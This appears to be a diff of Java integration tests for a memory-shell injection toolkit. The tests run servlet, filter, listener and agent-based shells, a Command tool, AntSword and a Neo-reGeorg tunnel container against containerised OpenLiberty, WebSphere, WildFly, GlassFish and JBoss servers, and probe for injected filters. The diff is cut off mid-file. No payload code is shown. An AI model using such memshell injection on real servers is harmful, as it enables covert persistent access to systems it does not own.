import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty22ContainerTest {
public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/config/dropins/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V11, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V11);
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty25ContainerTest {
public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/config/dropins/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V17, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V17);
}
}
@@ -44,7 +44,7 @@ public class WebSphere855ContainerTest {
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
@@ -44,7 +44,7 @@ public class WebSphere905ContainerTest {
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
@@ -42,7 +42,7 @@ public class WebSphere700ContainerTest {
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
@@ -0,0 +1,85 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Slf4j
@Testcontainers
public class Wildfly26ContainerTest {
public static final String imageName = "quay.io/wildfly/wildfly:26.1.3.Final-jdk11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
String server = Server.Undertow;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = { ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11);
}
}
@@ -0,0 +1,88 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Slf4j
@Testcontainers
public class Wildfly27ContainerTest {
public static final String imageName = "quay.io/wildfly/wildfly:27.0.1.Final-jdk11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
String server = Server.Undertow;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) // AntSword not support jakarta
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11);
}
}
@@ -4,6 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
import com.reajason.javaweb.probe.payload.JdkProbe;
import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.filter.*;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import org.apache.commons.codec.binary.Base64;
@@ -17,7 +18,7 @@ public class DetectionTool {
public static String getBase64Class(Class<?> clazz) {
return Base64.encodeBase64String(new ByteBuddy()
.redefine(clazz)
.name(CommonUtil.generateShellClassName())
.name(CommonUtil.generateClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make().getBytes());
}
@@ -2,10 +2,18 @@ package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.Opcodes;
@@ -16,10 +24,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -42,6 +53,11 @@ public class GlassFish3ContainerTest {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void teardown() {
log.info(container.getLogs());
}
@Test
void testJDK() {
String url = getUrl(container);
@@ -77,4 +93,21 @@ public class GlassFish3ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.AfterAll;
@@ -17,10 +24,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -83,4 +93,21 @@ public class GlassFish4ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.BeforeAll;
@@ -16,9 +23,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -75,4 +86,21 @@ public class GlassFish501ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.BeforeAll;
@@ -16,9 +23,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -76,4 +87,21 @@ public class GlassFish510ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.BeforeAll;
@@ -16,9 +23,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -76,4 +87,21 @@ public class GlassFish6ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.AfterAll;
@@ -17,9 +24,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -82,4 +93,21 @@ public class GlassFish7ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -70,4 +81,22 @@ public class Jboss423ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
